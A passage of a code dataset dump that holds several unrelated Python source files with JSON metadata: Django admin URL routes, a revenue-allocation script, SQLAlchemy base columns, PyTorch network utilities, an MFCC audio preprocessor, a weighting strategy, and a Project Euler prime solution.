"logging.info", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 31, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 37, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 40, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 41, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 42, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 43, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 44, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 45, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 46, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 47, "usage_type": "call"}]} {"seq_id": "74195681852", "text": "#\n# motandoadm/urls.py\n#\n\nfrom django.urls import path\nfrom django.contrib.auth.decorators import login_required\n\nfrom . import views\n\napp_name = 'motandoadm'\n\nurlpatterns = [ \n path('home', login_required(views.HomeAdminView.as_view()), name='home'), \n \n path('moto', login_required(views.ListAllMotorcycleAdminView.as_view()), name='motorcycle_all_list'), \n\n path('moto/marca', login_required(views.ListMotorcycleBrandAdminView.as_view()), name='motorcycle_brand_list'), \n path('moto/marca/novo', login_required(views.AddMotorcycleBrandAdminView.as_view()), name='motorcycle_brand_add'), \n path('moto/marca/', login_required(views.EditMotorcycleBrandAdminView.as_view()), name='motorcycle_brand_edit'), \n path('moto/marca/remover/', login_required(views.DeleteMotorcycleBrandAdminView.as_view()), name='motorcycle_brand_delete'), \n\n path('moto/marca/modelo', login_required(views.SelectMotorcycleBrandModelAdminView.as_view()), name='motorcycle_brand_model_select'), \n path('moto/marca/modelo/novo', login_required(views.AddMotorcycleBrandModelAdminView.as_view()), name='motorcycle_brand_model_add'), \n path('moto/marca//modelo', login_required(views.ListMotorcycleBrandModelAdminView.as_view()), name='motorcycle_brand_model_list'), \n path('moto/marca//modelo/', login_required(views.EditMotorcycleBrandModelAdminView.as_view()), name='motorcycle_brand_model_edit'), \n path('moto/marca//modelo//remover', login_required(views.DeleteMotorcycleBrandModelAdminView.as_view()), name='motorcycle_brand_model_delete'), \n\n path('moto/marca/modelo/versao', login_required(views.SelectMotorcycleBrandModelVersionAdminView.as_view()), name='motorcycle_brand_model_version_select'), \n path('moto/marca/modelo/versao/novo', login_required(views.AddMotorcycleBrandModelVersionAdminView.as_view()), name='motorcycle_brand_model_version_add'), \n path('moto/marca//modelo//versao', login_required(views.ListMotorcycleBrandModelVersionAdminView.as_view()), name='motorcycle_brand_model_version_list'), \n path('moto/marca//modelo//versao/', login_required(views.EditMotorcycleBrandModeVersionlAdminView.as_view()), name='motorcycle_brand_model_version_edit'), \n path('moto/marca/modelo/versao//remover', login_required(views.DeleteMotorcycleBrandModelVersionAdminView.as_view()), name='motorcycle_brand_model_version_delete'), \n\n #path('motorcycle/brand//model//version/', login_required(views.EditMotorcycleAdminView.as_view()), name='edit'),\n]", "repo_name": "daniel-armbrust/oci-motando-proj", "sub_path": "webapp/motando/motandoadm/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 2744, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 19, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 20, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 22, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 23, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 24, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 24, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 25, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 25, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 26, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 28, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 29, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 30, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 31, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 32, "usage_type": "call"}]} {"seq_id": "22596171583", "text": "import datetime\nfrom decimal import Decimal, ROUND_HALF_UP\nfrom dateutil.parser import parse as time_parser\nimport pandas as pd\n\nfrom enums import CapitalType\n\n\nclass LocalCapital:\n def __init__(self):\n self.path = \"data/funds.csv\"\n # NUMBER,TIME,USER,TYPE,FLOW,STOCK,REMARK\n self.df = pd.read_csv(self.path, dtype={0: int, 1: str, 2: str, 3: str, 4: str, 5: str, 6: str})\n self.administrator = \"j32u4ukh\"\n self.users = [\"ahuayeh\"]\n self.number = self.getLastNumber()\n\n def getLastNumber(self):\n # [146, '2021/9/30', 'j32u4ukh', 'revenue', '2833', '421635', '79']\n data = list(self.df.iloc[-1])\n\n return data[0]\n\n def getUsersCapital(self):\n df = self.df[self.df[\"TYPE\"] == CapitalType.Capital.value]\n admin_capital = self.getUserCapital(df=df, user=self.administrator, preprocess=True)\n users_capital = {self.administrator: admin_capital}\n\n for user in self.users:\n users_capital[user] = self.getUserCapital(df=df, user=user, preprocess=True)\n\n return users_capital\n\n @staticmethod\n def getUserCapital(df, user, preprocess=False):\n capital = Decimal(\"0\")\n\n if preprocess:\n user_df = df[df[\"USER\"] == user]\n else:\n user_df = df[(df[\"USER\"] == user) & (df[\"TYPE\"] == CapitalType.Capital.value)]\n\n n_data = len(user_df)\n\n for i in range(n_data):\n # NUMBER,TIME,USER,TYPE,FLOW,STOCK,REMARK\n data = user_df.iloc[i]\n capital += Decimal(data[\"FLOW\"])\n\n return capital\n\n def getUsersStock(self, time: datetime.datetime = datetime.datetime.today()):\n self.df[\"TIME\"] = pd.to_datetime(self.df[\"TIME\"])\n df = self.df[self.df[\"TIME\"] <= time]\n admin_stock = self.getUserStock(df=df, user=self.administrator, preprocess=True)\n users_stock = {self.administrator: admin_stock}\n\n for user in self.users:\n users_stock[user] = self.getUserStock(df=df, user=user, preprocess=True)\n\n return users_stock\n\n @staticmethod\n def getUserStock(df, user, time: datetime.datetime = datetime.datetime.today(), preprocess=False):\n if preprocess:\n user_df = df[df[\"USER\"] == user]\n else:\n df[\"TIME\"] = pd.to_datetime(df[\"TIME\"])\n user_df = df[(df[\"USER\"] == user) & (df[\"TIME\"] <= time)]\n\n if len(user_df) == 0:\n return Decimal(\"0\")\n\n data = user_df.iloc[-1]\n stock = Decimal(data[\"STOCK\"])\n\n return stock\n\n def getCapitalSummary(self, time: datetime.datetime = datetime.datetime.today()):\n summary = dict()\n users = self.users.copy() + [self.administrator]\n\n capitals = self.getUsersCapital()\n last_time = time - datetime.timedelta(days=1)\n last_stocks = self.getUsersStock(time=last_time)\n curr_stocks = self.getUsersStock(time=time)\n\n for user in users:\n summary[user] = dict(capital=capitals[user],\n last_stock=last_stocks[user],\n stock=curr_stocks[user])\n\n return summary\n\n def allocateRevenue(self, deal_time: datetime.datetime, remark: str, trade_revenue: Decimal):\n summary = self.getCapitalSummary(time=deal_time)\n # print(\"summary:\", summary)\n # {'j32u4ukh':\n # {'capital': Decimal('451595.0'), 'last_stock': Decimal('456592.00'), 'stock': Decimal('456592.00')},\n # 'ahuayeh':\n # {'capital': Decimal('200000.0'), 'last_stock': Decimal('203456'), 'stock': Decimal('203456')}}\n\n rate_dict = dict()\n total_last_stock = Decimal(\"0\")\n\n # 取出所有用戶前一天的資金存量\n for user in summary.keys():\n user_summary = summary[user]\n last_stock = user_summary[\"last_stock\"]\n\n rate_dict[user] = last_stock\n total_last_stock += last_stock\n\n # 根據用戶前一天的資金存量，計算資金比例\n for user, stock in rate_dict.items():\n rate_dict[user] = stock / total_last_stock\n # print(f\"Last {user}: {rate_dict[user]}% ({stock})\")\n\n allocated_revenu = Decimal(\"0\")\n\n for user in self.users:\n stock = summary[user][\"stock\"]\n rate = rate_dict[user]\n\n # 將 trade_revenue 根據 user 交易日前一天的資金存量比例，計算 user 分配到的收益\n user_revenu = (trade_revenue * rate).quantize(Decimal('0'), ROUND_HALF_UP)\n\n # 累計已分配收益\n allocated_revenu += user_revenu\n\n # 更新 user 的資金存量\n stock += user_revenu\n\n self.add(time=deal_time,\n user=user,\n capital_type=CapitalType.Revenue,\n flow=user_revenu,\n stock=stock,\n remark=remark)\n\n stock = summary[self.administrator][\"stock\"]\n\n # administrator 的損益為\"總損益 - 已分配損益\"，確保不因四捨五入的誤差，造成 \"總分配損益\" 和 \"總損益\" 有所偏差\n administrator_revenu = (trade_revenue - allocated_revenu).quantize(Decimal('0'), ROUND_HALF_UP)\n stock += administrator_revenu\n stock = stock.quantize(Decimal('0'), ROUND_HALF_UP)\n\n self.add(time=deal_time,\n user=self.administrator,\n capital_type=CapitalType.Revenue,\n flow=administrator_revenu,\n stock=stock,\n remark=remark)\n\n self.save()\n\n def add(self, time: datetime.datetime, user: str, capital_type: CapitalType, flow: Decimal, stock: Decimal,\n remark: str):\n # NUMBER,TIME(2020/06/17),USER,TYPE,FLOW,STOCK,REMARK\n self.number += 1\n self.df = self.df.append({\"NUMBER\": self.number,\n \"TIME\": time.strftime(\"%Y/%m/%d\"),\n \"USER\": user,\n \"TYPE\": capital_type.value,\n \"FLOW\": str(flow),\n \"STOCK\": str(stock),\n \"REMARK\": remark\n }, ignore_index=True)\n\n def save(self):\n self.df.sort_values(by=[\"NUMBER\"], inplace=True)\n\n self.df[\"TIME\"] = pd.to_datetime(self.df[\"TIME\"])\n\n # 資金數據更新\n self.df.to_csv(self.path, index=False)\n\n\nif __name__ == \"__main__\":\n lc = LocalCapital()\n # lc.save()\n\n records = \"\"\"97,3003,2021-10-19,2021-11-23,91.00,95.00,1000.0,91039.00,325,3636.00\n98,3588,2021-11-10,2021-11-23,138.50,155.00,1000.0,138559.00,531,15910.00\"\"\"\n\n trade_records = records.split(\"\\n\")\n\n for trade_record in trade_records:\n number, _, _, sell_time, _, _, _, _, _, revenue = trade_record.split(',')\n print(number, sell_time, revenue)\n # time_parser\n lc.allocateRevenue(deal_time=time_parser(sell_time), remark=number, trade_revenue=Decimal(revenue))\n\n # # NUMBER,TIME,USER,TYPE,FLOW,STOCK,REMARK\n # # 85,3048,2021-08-25,2021-10-12,0.00,29.50,0.1,1.00,8.00,2941.00\n # lc.allocateRevenue(deal_time=datetime.datetime(2021, 10, 12), remark=\"85\", trade_revenue=Decimal(\"2941\"))\n #\n # # 86,3048,2021-08-25,2021-10-12,0,0,0,0,0,1890\n # lc.allocateRevenue(deal_time=datetime.datetime(2021, 10, 12), remark=\"86\", trade_revenue=Decimal(\"1890\"))\n\n lc.save()", "repo_name": "j32u4ukh/ProgramTrading", "sub_path": "history/capital.py", "file_name": "capital.py", "file_ext": "py", "file_size_in_byte": 7472, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 13, "usage_type": "call"}, {"api_name": "enums.CapitalType.Capital", "line_number": 25, "usage_type": "attribute"}, {"api_name": "enums.CapitalType", "line_number": 25, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 36, "usage_type": "call"}, {"api_name": "enums.CapitalType.Capital", "line_number": 41, "usage_type": "attribute"}, {"api_name": "enums.CapitalType", "line_number": 41, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 52, "usage_type": "attribute"}, {"api_name": "datetime.datetime.today", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 64, "usage_type": "attribute"}, {"api_name": "datetime.datetime.today", "line_number": 64, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 68, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 72, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 75, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 79, "usage_type": "attribute"}, {"api_name": "datetime.datetime.today", "line_number": 79, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 84, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 95, "usage_type": "attribute"}, {"api_name": "decimal.Decimal", "line_number": 95, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 104, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 119, "usage_type": "call"}, {"api_name": "decimal.ROUND_HALF_UP", "line_number": 126, "usage_type": "argument"}, {"api_name": "decimal.Decimal", "line_number": 126, "usage_type": "call"}, {"api_name": "enums.CapitalType.Revenue", "line_number": 136, "usage_type": "attribute"}, {"api_name": "enums.CapitalType", "line_number": 136, "usage_type": "name"}, {"api_name": "decimal.ROUND_HALF_UP", "line_number": 144, "usage_type": "argument"}, {"api_name": "decimal.Decimal", "line_number": 144, "usage_type": "call"}, {"api_name": "decimal.ROUND_HALF_UP", "line_number": 146, "usage_type": "argument"}, {"api_name": "decimal.Decimal", "line_number": 146, "usage_type": "call"}, {"api_name": "enums.CapitalType.Revenue", "line_number": 150, "usage_type": "attribute"}, {"api_name": "enums.CapitalType", "line_number": 150, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 157, "usage_type": "attribute"}, {"api_name": "enums.CapitalType", "line_number": 157, "usage_type": "name"}, {"api_name": "decimal.Decimal", "line_number": 157, "usage_type": "name"}, {"api_name": "pandas.to_datetime", "line_number": 173, "usage_type": "call"}, {"api_name": "dateutil.parser.parse", "line_number": 192, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 192, "usage_type": "call"}]} {"seq_id": "72065831931", "text": "from pprint import pformat, pprint # noqa\nimport re\nimport logging\n\nfrom sqlalchemy import inspect\nfrom sqlalchemy.ext import hybrid\nfrom sqlalchemy.ext.hybrid import hybrid_property\nfrom sqlalchemy.orm import column_property, relationship # noqa\nfrom sqlalchemy import func\nfrom sqlalchemy import ( # noqa\n Column,\n String,\n Integer,\n ForeignKey,\n DateTime,\n)\nfrom sqlalchemy.ext.declarative import declarative_base, declared_attr\n\nlog = logging.getLogger(__name__)\n\nBase = declarative_base()\n\nsnake_case_re = re.compile('((?<=[a-z0-9])[A-Z]|(?!^)[A-Z](?=[a-z]))')\n\n\nclass CommonColumns(Base):\n __abstract__ = True\n _created = Column(DateTime, default=func.now())\n _updated = Column(DateTime, default=func.now(), onupdate=func.now())\n _etag = Column(String(40))\n\n @hybrid_property\n def _id(self):\n \"\"\"\n Eve backward compatibility\n \"\"\"\n return self.id\n\n @declared_attr\n def __tablename__(cls):\n return snake_case_re.sub(r'_\\1', cls.__name__).lower()\n\n def jsonify(self):\n \"\"\"\n Used to dump related objects to json\n \"\"\"\n relationships = inspect(self.__class__).relationships.keys()\n mapper = inspect(self)\n attrs = [\n a.key for a in mapper.attrs\n if a.key not in relationships and\n a.key not in mapper.expired_attributes\n ]\n attrs += [\n a.__name__\n for a in inspect(self.__class__).all_orm_descriptors\n if a.extension_type is hybrid.HYBRID_PROPERTY\n ]\n log.debug(\"{}\".format(self.__class__.__name__))\n log.debug(pformat(attrs))\n return dict([(c, getattr(self, c, None)) for c in attrs])\n\n def register(self):\n pprint(self.__class__)\n pprint(self.__tablename__)\n", "repo_name": "ddurieux/talaos-inventory", "sub_path": "fusionglpi/models/common.py", "file_name": "common.py", "file_ext": "py", "file_size_in_byte": 1807, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 19, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 21, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 28, "usage_type": "argument"}, {"api_name": "sqlalchemy.func.now", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 28, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.DateTime", "line_number": 29, "usage_type": "argument"}, {"api_name": "sqlalchemy.func.now", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 29, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.hybrid.hybrid_property", "line_number": 32, "usage_type": "name"}, {"api_name": "sqlalchemy.ext.declarative.declared_attr", "line_number": 39, "usage_type": "name"}, {"api_name": "sqlalchemy.inspect", "line_number": 47, "usage_type": "call"}, {"api_name": "sqlalchemy.inspect", "line_number": 48, "usage_type": "call"}, {"api_name": "sqlalchemy.inspect", "line_number": 56, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.hybrid.HYBRID_PROPERTY", "line_number": 57, "usage_type": "attribute"}, {"api_name": "sqlalchemy.ext.hybrid", "line_number": 57, "usage_type": "name"}, {"api_name": "pprint.pformat", "line_number": 60, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 64, "usage_type": "call"}, {"api_name": "pprint.pprint", "line_number": 65, "usage_type": "call"}]} {"seq_id": "72863792862", "text": "import math\n\nimport torch\nfrom torch import nn as nn\nfrom torch.nn import init as init\nfrom torch.nn.modules.batchnorm import _BatchNorm\n\n\n@torch.no_grad()\ndef default_init_weights(module_list, scale=1, bias_fill=0, **kwargs):\n \"\"\"Initialize network weights.\n\n Args:\n module_list (list[nn.Module] | nn.Module): Modules to be initialized.\n scale (float): Scale initialized weights, especially for residual\n blocks. Default: 1.\n bias_fill (float): The value to fill bias. Default: 0\n kwargs (dict): Other arguments for initialization function.\n \"\"\"\n if not isinstance(module_list, list):\n module_list = [module_list]\n for module in module_list:\n for m in module.modules():\n if isinstance(m, nn.Conv2d):\n init.kaiming_normal_(m.weight, **kwargs)\n m.weight.data *= scale\n if m.bias is not None:\n m.bias.data.fill_(bias_fill)\n elif isinstance(m, nn.Linear):\n init.kaiming_normal_(m.weight, **kwargs)\n m.weight.data *= scale\n if m.bias is not None:\n m.bias.data.fill_(bias_fill)\n elif isinstance(m, _BatchNorm):\n init.constant_(m.weight, 1)\n if m.bias is not None:\n m.bias.data.fill_(bias_fill)\n\n\ndef make_layer(basic_block, num_basic_block, **kwarg):\n \"\"\"Make layers by stacking the same blocks.\n\n Args:\n basic_block (nn.module): nn.module class for basic block.\n num_basic_block (int): number of blocks.\n\n Returns:\n nn.Sequential: Stacked blocks in nn.Sequential.\n \"\"\"\n layers = []\n for _ in range(num_basic_block):\n layers.append(basic_block(**kwarg))\n return nn.Sequential(*layers)\n\n\nclass ResidualBlockNoBN(nn.Module):\n \"\"\"Residual block without BN.\n\n It has a style of:\n ---Conv-ReLU-Conv-+-\n |________________|\n\n Args:\n num_feat (int): Channel number of intermediate features.\n Default: 64.\n res_scale (float): Residual scale. Default: 1.\n pytorch_init (bool): If set to True, use pytorch default init,\n otherwise, use default_init_weights. Default: False.\n \"\"\"\n\n def __init__(self, num_feat=64, res_scale=1, pytorch_init=False):\n super(ResidualBlockNoBN, self).__init__()\n self.res_scale = res_scale\n self.conv1 = nn.Conv2d(num_feat, num_feat, 3, 1, 1, bias=True)\n self.conv2 = nn.Conv2d(num_feat, num_feat, 3, 1, 1, bias=True)\n self.relu = nn.ReLU(inplace=True)\n\n if not pytorch_init:\n default_init_weights([self.conv1, self.conv2], 0.1)\n\n def forward(self, x):\n identity = x\n out = self.conv2(self.relu(self.conv1(x)))\n return identity + out * self.res_scale\n\n\nclass Upsample(nn.Sequential):\n \"\"\"Upsample module.\n\n Args:\n scale (int): Scale factor. Supported scales: 2^n and 3.\n num_feat (int): Channel number of intermediate features.\n \"\"\"\n\n def __init__(self, scale, num_feat):\n m = []\n if (scale & (scale - 1)) == 0: # scale = 2^n\n for _ in range(int(math.log(scale, 2))):\n m.append(nn.Conv2d(num_feat, 4 * num_feat, 3, 1, 1))\n m.append(nn.PixelShuffle(2))\n elif scale == 3:\n m.append(nn.Conv2d(num_feat, 9 * num_feat, 3, 1, 1))\n m.append(nn.PixelShuffle(3))\n else:\n raise ValueError(f'scale {scale} is not supported. '\n 'Supported scales: 2^n and 3.')\n super(Upsample, self).__init__(*m)\n\n\n# TODO: may write a cpp file\ndef pixel_unshuffle(x, scale):\n \"\"\" Pixel unshuffle.\n\n Args:\n x (Tensor): Input feature with shape (b, c, hh, hw).\n scale (int): Downsample ratio.\n\n Returns:\n Tensor: the pixel unshuffled feature.\n \"\"\"\n b, c, hh, hw = x.size()\n out_channel = c * (scale ** 2)\n assert hh % scale == 0 and hw % scale == 0\n h = hh // scale\n w = hw // scale\n x_view = x.view(b, c, h, scale, w, scale)\n return x_view.permute(0, 1, 3, 5, 2, 4).reshape(b, out_channel, h, w)\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/contrib/cv/others/GPEN/sr_model/arch_util.py", "file_name": "arch_util.py", "file_ext": "py", "file_size_in_byte": 4173, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Conv2d", "line_number": 24, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.init.kaiming_normal_", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.nn.modules.batchnorm._BatchNorm", "line_number": 34, "usage_type": "argument"}, {"api_name": "torch.nn.init.constant_", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn.init", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 9, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 56, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 74, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 76, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 76, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 87, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 87, "usage_type": "name"}, {"api_name": "math.log", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.nn.Conv2d", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 99, "usage_type": "name"}, {"api_name": "torch.nn.PixelShuffle", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 100, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 102, "usage_type": "name"}, {"api_name": "torch.nn.PixelShuffle", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 103, "usage_type": "name"}]} {"seq_id": "19087316463", "text": "from . import NeuroBenchProcessor\nfrom torchaudio.transforms import MFCC\nimport torch\n\n\nclass MFCCProcessor(NeuroBenchProcessor):\n \"\"\" Does MFCC computation on dataset using torchaudio.transforms.MFCC.\n Call expects loaded .wav data and targets as a tuple (data, targets).\n Expects sample_rate to be the same for all samples in data.\n \"\"\"\n def __init__(\n self,\n sample_rate: int = 16000,\n n_mfcc: int = 40,\n dct_type: int = 2,\n norm: str = \"ortho\",\n log_mels: bool = False,\n melkwargs: dict = None,\n ):\n super(NeuroBenchProcessor).__init__()\n \"\"\"\n Args:\n sample_rate (int, optional): Sample rate of the audio signal. (Default: 16000)\n n_mfcc (int, optional): Number of MFCC coefficients to retain. (Default: 40)\n dct_type (int, optional): Type of DCT (discrete cosine transform) to use. (Default: 2)\n norm (str, optional): Norm to use. (Default: \"ortho\")\n log_mels (bool, optional): Whether to use log-mel spectrograms instead of db-scaled. (Default: False)\n melkwargs (dict or None, optional): Arguments for MelSpectrogram. (Default: None)\n \"\"\"\n self.sample_rate = sample_rate\n self.n_mfcc = n_mfcc\n self.dct_type = 2\n self.norm = norm\n self.log_mels = log_mels\n self.melkwargs = melkwargs\n\n self.mfcc = MFCC(\n sample_rate=self.sample_rate,\n n_mfcc=self.n_mfcc,\n dct_type=self.dct_type,\n norm=self.norm,\n log_mels=self.log_mels,\n melkwargs=self.melkwargs,\n )\n\n def __call__(self, dataset):\n \"\"\" Executes the MFCC computation on the dataset.\n\n Args:\n dataset (tuple): A tuple of (data, targets).\n\n Returns:\n results: mfcc applied on data\n targets: targets from dataset\n \"\"\"\n self.dataset_validity_check(dataset)\n\n data, targets = dataset\n if isinstance(data, list):\n data = torch.vstack(data)\n\n self.results = self.mfcc(data)\n\n return self.results, targets\n\n @staticmethod\n def dataset_validity_check(dataset):\n \"\"\" Checks if dataset is a tuple with length two.\n \"\"\"\n if not isinstance(dataset, tuple):\n raise TypeError(\"Expected dataset to be tuple\")\n\n if not len(dataset) == 2:\n raise ValueError(\"Dataset tuple should have values as (data, targets)\")\n", "repo_name": "NeuroBench/neurobench", "sub_path": "neurobench/preprocessing/mfcc.py", "file_name": "mfcc.py", "file_ext": "py", "file_size_in_byte": 2502, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 22, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torchaudio.transforms.MFCC", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.vstack", "line_number": 60, "usage_type": "call"}]} {"seq_id": "36513155384", "text": "from dataclasses import dataclass\n\nfrom server.service.helper.dict_helper import normalize\nfrom server.service.strategy.base import BaseStrategy\n\n\ndef reset_function(n):\n return 1 / (2 ** n)\n\n\n@dataclass\nclass SmoothStrategy(BaseStrategy):\n def update(self, *, indices_selected: list[int], **kwargs) -> list[float]:\n reset_value = reset_function(len(self.weight_list))\n for index_selected in indices_selected:\n self.weight_list[index_selected] = reset_value\n self.weight_list = normalize(self.weight_list)\n return self.weight_list\n", "repo_name": "EtienneTurc/IChooseYou", "sub_path": "server/service/strategy/smooth.py", "file_name": "smooth.py", "file_ext": "py", "file_size_in_byte": 576, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "7", "api": [{"api_name": "server.service.strategy.base.BaseStrategy", "line_number": 12, "usage_type": "name"}, {"api_name": "server.service.helper.dict_helper.normalize", "line_number": 17, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 11, "usage_type": "name"}]} {"seq_id": "41482188013", "text": "import datetime\nfrom prime import is_prime\n\ndef from_right(num):\n string = str(num)\n length = len(string)\n for beg in range(length):\n if not is_prime(int(string[beg:])):\n return False\n return True\n\ndef main():\n L = [[2, 3, 5, 7]]\n size = 1\n while True:\n l = []\n for i in L[size - 1]:\n num = i * 10\n for j in [1, 3, 7, 9]:\n if is_prime(num + j):\n l.append(num + j)\n if len(l) == 0:\n break\n L.append(l)\n size += 1\n\n res = 0\n for (i, l) in enumerate(L):\n if i == 0:\n continue\n for x in l:\n if x % 10 in (3, 7) and from_right(x):\n res += x\n return res\n\nbeg = datetime.datetime.now()\nans = main()\nend = datetime.datetime.now()\n\nprint(\"answer:\", ans)\nprint(\"time:\", end - beg)\n", "repo_name": "sunjxan/ProjectEuler", "sub_path": "p037.py", "file_name": "p037.py", "file_ext": "py", "file_size_in_byte": 872, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "prime.is_prime", "line_number": 8, "usage_type": "call"}, {"api_name": "prime.is_prime", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 36, "usage_type": "call"}, {"api_name": 